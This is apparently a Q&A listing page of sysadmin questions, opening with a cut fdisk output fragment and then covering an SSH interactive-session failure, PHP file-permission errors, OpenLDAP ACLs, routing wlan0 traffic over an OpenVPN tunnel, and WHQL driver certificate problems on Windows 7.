'/dev/sdc'! The util fdisk doesn't support GPT. Use GNU Parted. Disk /dev/sdc: 2000.4 GB, 2000396746752 bytes 255 heads, 63 sectors/track, 243201 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/sdc doesn't contain a valid partition table

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  • SSH Interactive mode not working

    - by Ekin Koc
    I have a Debian based linux server running for a year or so, without any problems. A couple of days ago, ssh interactive mode stopped working for no reason. I mean, I can open an ssh connection just fine, the server greets me with shell but I just can't type anything. However, if I send commands like this: ssh [email protected] cat /var/log/messages, I get the response. I dug through several logs and found one message, which feels remotely relevant to the problem; sh kernel: [10222733.062511] ------------[ cut here ]------------ sh kernel: [10222733.062522] WARNING: at /build/buildd-linux-2.6_2.6.32-39-amd64-7yVIH2/linux-2.6-2.6.32/debian/build/source_amd64_none/drivers/char/tty_ldisc.c:738 tty_ldisc_reinit+0x46/0x7b() sh kernel: [10222733.062526] Hardware name: PowerEdge R210 II sh kernel: [10222733.062528] Modules linked in: ipt_MASQUERADE iptable_nat nf_nat nf_conntrack_ipv4 nf_conntrack nf_defrag_ipv4 ip_tables x_tables sha1_generic arc4 ecb ppp_mppe ppp_async crc_ccitt ppp_generic slhc loop snd_pcm snd_timer snd soundcore snd_page_alloc i2c_i801 i2c_core pcspkr evdev joydev dcdbas container button processor ext3 jbd mbcache sg sd_mod sr_mod crc_t10dif cdrom usb_storage usbhid hid mpt2sas ahci ehci_hcd libata scsi_transport_sas usbcore bnx2 nls_base scsi_mod fan thermal thermal_sys [last unloaded: scsi_wait_scan] sh kernel: [10222733.062568] Pid: 8662, comm: sshd Not tainted 2.6.32-5-amd64 #1 sh kernel: [10222733.062569] Call Trace: sh kernel: [10222733.062572] [<ffffffff811ff056>] ? tty_ldisc_reinit+0x46/0x7b sh kernel: [10222733.062574] [<ffffffff811ff056>] ? tty_ldisc_reinit+0x46/0x7b Is there any way to get back the sshd working in interactive mode? I tried restarting sshd but that is no help. And somehow, I can not reboot the server. Tried sending shutdown -r now and reboot but it refuses to go down. Should I go ahead and request a physical reboot?

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  • User http does not have write permissions directory?

    - by dwieeb
    I have a bit of an odd set up, I think. I have groups for each domain my server hosts, and I add the user http to each domain group along with the users that should have access to the groups' domains. In my php script running from a directory 'public_html', I try creating a file: <?php $output = ""; print exec('touch test 2>&1', $output); But I get touch: cannot touch `test': Permission denied and the file is not created. But here, clearly stated, the group has all permissions on the directory: drwxrwxr-x 5 dwieeb example.com 1024 Feb 4 05:19 public_html And here are the permissions on the php file in public_html that is trying to use the exec function: -rw-rw-r-- 1 dwieeb example.com 59 Feb 4 05:19 test.php How is this possible if http is part of the example.com group (as seen from a cat on /etc/group) and the directory has full permissions for the group? ... example.com:x:1000:dwieeb,http I'm stumped. EDIT (since apparently I'm not cool enough to answer my own questions yet): Ah, I found the problem. Yes, I restarted Nginx, but the php-fpm daemon must be restarted as well when http is added to the group for my domain. On Arch Linux: rc.d restart php-fpm

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  • OpenLDAP ACLs are not working

    - by Dr I
    First things first, I'm currently working with an OpenLDAP: slapd 2.4.36 on a Fedora release 19 (Schrödinger’s Cat). I've just install the openldap with yum and my configuration is the following one: ##### OpenLDAP Default configuration ##### # ##### OpenLDAP CORE CONFIGURATION ##### include /etc/openldap/schema/core.schema include /etc/openldap/schema/cosine.schema include /etc/openldap/schema/inetorgperson.schema include /etc/openldap/schema/nis.schema pidfile /var/lib/ldap/slapd.pid loglevel trace ##### Default Schema ##### database mdb directory /var/lib/ldap/ maxsize 1073741824 suffix "dc=domain,dc=tld" rootdn "cn=root,dc=domain,dc=tld" rootpw {SSHA}SECRETP@SSWORD ##### Default ACL ##### access to attrs=userpassword by self write by group.exact="cn=administrators,ou=builtin,ou=groups,dc=domain,dc=tld" write by anonymous auth by * none I launch my OpenLDAP service using: /usr/sbin/slapd -u ldap -h ldapi:/// ldap:/// -f /etc/openldap/slapd.conf As you can see it's a pretty simple ACL which aim to allow access to the userPassword attribute to a specific group read only, then to the owner read and write to anonymous requiring auth and refuse the access to everyone else. The problem is: Even using a valid user with correct password my ldapsearch ends with zero informations retrieved from the directory, plus I've got a strange response on the result line. # search result search: 2 result: 32 No such object # numResponses: 1 here is the ldapsearch request: ldapsearch -H ldap.domain.tld -W -b dc=domain,dc=tld -s sub -D cn=user,ou=service,ou=employees,ou=users,dc=domain,dc=tld I did not specify any filter as I want to check that ldapsearch is correctly printing only allowed attribute.

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  • Route all wlan0 traffic over tun0

    - by Tuinslak
    I'm looking for a way to route all wlan0 traffic (tcp and udp) over tun0 (openvpn). However, all other traffic originating from the device itself should not be routed through tun0. I'm guessing this could be realized using iptables or route, but none of my options seem to work. # route add -net 0.0.0.0 gw 172.27.0.1 dev wlan0 SIOCADDRT: No such process Info: This is because the VPN server is not redundant, and wlan users are not really important. However, all services running on the device are fairly important and having a VPN virtual machine with no SLA on it is just a bad idea. Trying to minimize the odds of something going wrong. So setting the VPN server as default gateway is not really an option. I also want all wlan0 user to use the VPN server's IP address as external IP. Edit with the script provided: root@ft-genesi-xxx ~ # route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 172.27.0.17 0.0.0.0 255.255.255.255 UH 0 0 0 tun0 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 10.13.37.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 172.27.0.0 172.27.0.17 255.255.192.0 UG 0 0 0 tun0 0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0 root@ft-genesi-xxx ~ # ./test.sh RTNETLINK answers: No such process root@ft-genesi-xxx ~ # cat test.sh #!/bin/sh IP=/sbin/ip # replace with the range of your wlan network, or use fwmark instead ${IP} rule add from 10.13.37.0/24 table from-wlan ${IP} route add default dev tun0 via 127.72.0.1 table from-wlan ${IP} route add 10.13.37.0/24 dev wlan0 table from-wlan

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  • Certificates required for WHQL-certified drivers

    - by Kasius
    The 64-bit Windows 7 image that we deploy to machines at our site does not contain all of the certificates included on a default Windows image. Automatic root certificate installation is also disabled per policy from higher in the organization. We have had a lot of trouble installing many WHQL-certified drivers from reputable companies (ex. HP, Lexmark, Dell, etc.), and I hypothesize that a required certificate is missing from one of the certificate stores on the machine. The error we typically get is: The driver cannot be installed because it is either not digitally signed or not signed in the appropriate manner. I know that it is signed. A .CAT file is included, and it has the following tree from top to bottom: Microsoft Root Authority (thumbprint a4 34 89 15 9a 52 0f 0d 93 d0 32 cc af 37 e7 fe 20 a8 b4 19) Microsoft Windows Hardware Compatibility PCA (thumbprint 93 b8 d8 82 0a 32 db 20 a5 ea b6 8d 86 ad 67 8e fa 14 ea 41) Microsoft Windows Hardware Compatibility Publisher (thumprint b0 50 45 45 42 4e be 2c 16 2f 62 5b bf 5a e6 9b 96 bf 0b 0b) What certificates are required to install WHQL-certified drivers? Is it possibly something other than certificates? Thanks! NOTE: I have posted this question on Technet as well, but honestly, I've never had a lot of luck posting questions on the Technet forums.

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